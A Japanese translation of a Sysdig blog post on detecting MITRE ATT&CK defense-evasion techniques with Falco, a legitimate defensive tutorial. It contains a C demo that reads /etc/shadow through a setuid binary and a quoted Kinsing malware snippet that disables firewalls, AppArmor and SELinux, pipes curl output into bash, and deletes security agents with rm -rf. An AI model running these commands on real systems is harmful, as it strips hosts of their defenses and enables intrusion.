MITRE ATT&CKにおける検出:Falcoを用いた防衛回避(Defense Evasion)テクニック
MITRE ATT&CKにおける検出:Falcoを用いた防衛回避(Defense Evasion)テクニック

MITRE ATT&CKにおける検出:Falcoを用いた防衛回避(Defense Evasion)テクニック

本文の内容は、2021年2月2日にKaizhe Huangが投稿したブログ(https://sysdig.com/blog/mitre-defense-evasion-falco/)を元に日本語に翻訳・再構成した内容となっております。

MITRE ATT&CKの防御回避(Defense Evasion)カテゴリーでは、攻撃者が捕まるのを避けるために使用できるいくつかのテクニックをカバーしています。これらのテクニックを熟知しておくことで、インフラストラクチャーの安全性を確保することができます。

MITRE ATT&CKは、高度な脅威行為者が攻撃で使用する可能性のあるすべての戦術、技術、および手順(TTP)を分析した包括的な知識ベースです。コンプライアンス基準というよりは、脅威モデルや方法論の基礎となるフレームワークです。これらの技術は、14のカテゴリにグループ化されています。

この記事では、MITREの防御回避に分類されるいくつかのテクニックを順を追って解説していきます。また、Falco のようなオープンソースのツールが、これらのコンテナセキュリティ攻撃の検出にどのように役立つかの例も紹介します。

MITREカテゴリ:防衛回避(Defense Evasion)

防御回避カテゴリには、既存のセキュリティツールに捕まらないようにするために攻撃者が使用する可能性のある37のテクニックが含まれています。

例えば、コマンドを信頼できるユーザとしてマスクする、プログラムライブラリを変更してコードを既知のプロセスとしてマスクする、システムの防御を無効にするなどです。

この画像のalt属性が入力されていません

防衛回避には37の手法が含まれており、そのうち「昇降制御機構の悪用」と「防御力の低下」をカバーしています。

これらのアクションは、他のカテゴリのテクニックのバリエーションに過ぎないことがあります。

防御回避テクニックのハンズオン

これらの技術のうち2つを試してみましょう。これらがどのように攻撃者に利益をもたらすかを見て、それらを検出するのに役立つ洞察を探してみましょう。

昇降制御機構を悪用する: setuid と setgid

最近のオペレーティングシステムでは、プロセスは限られた権限を持つユーザスペースの下で実行されます。しかし、アプリケーションをインストールしたり、ポートを開いたり、その他の管理タスクを実行したりする際には、権限を昇格させるメカニズムが含まれています。

攻撃者は、これらの昇格制御メカニズムを悪用して、管理者としてコードを実行したり、個人情報にアクセスしたりすることができます。

Linuxでは、このメカニズムの一部は、ファイルのsetuidビットとsetgidビットで処理されます。デフォルトでは、ファイルが実行されると、現在のユーザのコンテキストの下で実行されます。しかし、ファイルに setuid ビットが設定されている場合、ファイルはファイル所有者のコンテキストで実行されます。

簡単な例でこの概念を掘り下げてみましょう。

次の C プログラムは 2 つのタスクを実行します。まず、プログラムがどのユーザで実行されているかを表示し、次に /etc/shadow という機密ファイルから実際のパスワードを暗号化された形式(パスワードのハッシュのようなもの)でシステム内のすべてのユーザアカウントに保存しているものを読み込みます。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
   FILE *fp;
   char line[256];
   // print user ID and the effective user ID
   printf("uid: %d, euid: %d\n", getuid(), geteuid());
   fp = fopen("/etc/shadow", "r");
   if (fp == NULL) {
       printf("Cannot open file '/etc/shadow'\n");
       exit(0);
   }
   while (fgets(line, sizeof(line), fp)) {
       printf("%s", line);
   }
   fclose(fp);
   return 0;

さて、このコードをコンパイルして、結果のバイナリの所有者を root に設定し、他のユーザが実行できるようにしてみましょう。

このプログラムを setuid ビットが設定されている場合とされていない場合で実行するとどうなるでしょうか?

setuidビットが設定されていない場合(ファイルの-rwxパーミッションに注意):

この画像のalt属性が入力されていません

現在のユーザー(ubuntu)としてプログラムを実行すると、いくつかのエラーが発生します:

この画像のalt属性が入力されていません

etc/shadowファイルの読み込みに失敗します。

ユーザーID、有効ユーザーIDともにubuntuのユーザーに対応して1000になっていることに注意してください。

さて、setuidが設定されている場合はどうなるでしょうか?ファイルの-rwsパーミッションに注意してください:

この画像のalt属性が入力されていません

現在のユーザー(ubuntu)で実行すると成功しました。

この画像のalt属性が入力されていません

プログラムを実行したのはubuntuでしたが(uid: 1000)、実効ユーザはroot(euid: 0)です。最終的に、ubuntuのユーザーは、setuidビットのために/etc/shadowファイルを正常に読み取るためにrootユーザーの権限を借りました。

ここで簡単な結論を出すことができます。高権限ユーザーが所有するファイルから不要なsetuidビットを削除する必要があります。

防御力を損なう:ツールを無効にするか変更する

攻撃者が被害者の環境にアクセスしたら、環境の調査を始める前に、セキュリティツールを無効にして、ブロックされたり捕まったりしないようにしようとします。

最近のkinsing攻撃のリサーチを例に挙げることができます。そこでは、悪意のあるペイロードの中にこのようなパターンがあることに気付きました。

# Disable firewall
ufw disable
# Remove iptable rules
iptables -F
# Stop apparmor
service apparmor stop
systemctl disable apparmor
# Stop SELinux
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
# Stop security service from Ali Cloud
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y 

このコードスニペットは Kinsing ペイロードの一部であり、フォローしやすいようにコメントを追加しました。

攻撃者がどのようにファイアウォールを無効にし、iptables ルールをフラッシュし、SELinux、AppArmor、Ali Cloud のセキュリティエージェントを無効にしようとしたかがわかります。上記の操作は通常管理者権限が必要なので、攻撃者が環境に侵入した際になんとかroot権限を取得できた場合、スクリプトは成功します。

これは思っているよりも簡単かもしれません。最新の年次コンテナセキュリティおよび使用状況レポートで見たように、コンテナイメージの56%はrootとして実行されています。攻撃者が root として実行しているコンテナからの脱獄に成功した場合、攻撃者はホスト上で実行されているセキュリティツールを無効にする権限をすでに持っています。

セキュリティツールを無効化することは、アクセスが制限された環境のメンテナンス中にはよくあることです。しかし、運用中の本番環境では珍しくありません。

FalcoでMITREの防衛回避技術を検出する

どのような脅威に直面しているのかが分かったところで、それに対する防御を始めることができます。

いくつかの攻撃の侵入ポイントを事前にカバーすることができます。イメージスキャンでは、不要なオープンポート、ルートとして実行されているイメージ、既知の脆弱性などをチェックすることができます。しかし、コンテナがすでに本番環境にある間に、攻撃はランタイムに発生します。ワークロードを継続的に監視して異常な動作を探すランタイムセキュリティツールが必要です。

Falcoは、コンテナとKubernetesのランタイム脅威検出のためのCNCFオープンソースプロジェクトです。これは、コンテナ内の異常な動作を検出するように設計されたコンテナセキュリティツールです。Falcoはシステムコールを利用して、すべてのシステムアクティビティのイベントストリームを生成します。そして、Falcoのルールエンジンは、このイベントストリームに基づいてルールを作成し、異常と思われるシステムイベントをアラートすることを可能にします。Falcoの豊富な言語により、ホストレベルでルールを記述し、疑わしい活動を識別することができます。

前の例に続き、Falcoを使って防衛回避を検出する方法を見てみましょう。

ファイルのsetuidビットまたはsetgidビットの変更を検出する

先に説明したように、一度ファイルに setuid ビットや setgid ビットが設定されると、そのファイルは所有者の権限で実行されます。

setuid ビットや setgid ビットが設定されているファイルを追跡しないようにするのは良い習慣です。

これは、次のように簡単です:

find . -perm /6000

しかし、ランタイムの時にファイルのパーミッションが変更された場合はどうでしょうか?

そのようなシナリオを検出するために、以下のFalcoルールを使用することができます。

- rule: Set Setuid or Setgid bit
  desc: >
    When the setuid or setgid bits are set for an application,
    this means that the application will run with the privileges of the owning user or group respectively.
    Detect setuid or setgid bits set via chmod
  condition: >
    consider_all_chmods and chmod and (evt.arg.mode contains "S_ISUID" or evt.arg.mode contains "S_ISGID")
    and not proc.name in (user_known_chmod_applications)
    and not exe_running_docker_save
    and not user_known_set_setuid_or_setgid_bit_conditions
  output: >
    Setuid or setgid bit is set via chmod (fd=%evt.arg.fd filename=%evt.arg.filename mode=%evt.arg.mode user=%user.name user_loginuid=%user.loginuid process=%proc.name
    command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority:
    NOTICE
  tags: [process, mitre_persistence] 

そして、ファイルにsetuidビットやsetgidビットを追加しようとする試みがあった場合、アラートが発生します:

この画像のalt属性が入力されていません

セキュリティツールの無効化を検出

Kinsing攻撃の話に戻りますが、攻撃者がブロックされたり捕まったりしないために、セキュリティツールを無効化しようとする様子が見られました。

ここではそのような動作を検知するFalcoルールを紹介します:

- macro: disable_apparmor
  condition: (proc.name in (systemctl, service) and (proc.cmdline contains "disable" or proc.cmdline contains \"stop\") and (proc.cmdline contains "apparmor"))
- macro: disable_selinux
  condition: (proc.cmdline = "setenforce 0")
- macro: disable_ufw
  condition: (proc.name=ufw and proc.cmdline contains "disable")
- rule: Disable Security Tools
  desc: Detect an attempt to disable security tools like ufw, AppArmor, SELinux
  condition: spawned_process and (disable_apparmor or disable_selinux or disable_ufw)
  output: Security tool is disabled (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname container_id=%container.id image=%container.image.repository:%container.image.tag)
  priority: WARNING 

誰かが ufw を無効化しようとすると、以下のようなアラートが発生します:

この画像のalt属性が入力されていません

まとめ

Falco はランタイムコンテナセキュリティのデファクトスタンダードとなっています。Falcoは、侵入や悪意のある活動を検出するために、システムコールとK8の監査ログを利用しています。FalcoのルールをMITRE ATT&CKのDefense Evasion(防御回避)カテゴリーにマッピングすることで、セキュリティチームは脅威の検出と対応のワークフローを合理化することができます。

Falcoの詳細については、FalcoのrepoFalcoのウェブサイトをチェックするか、CNCFのFalco slackチャンネルに参加してください。

商用版をお探しですか?そうであれば、コンテナやKubernetesのイメージスキャン、コンプライアンスランタイムセキュリティ、インシデント対応を提供するSysdig Secureをチェックしてみてください。ここから30日間の無料トライアルを開始しましょう

To view or add a comment, sign in

Explore topics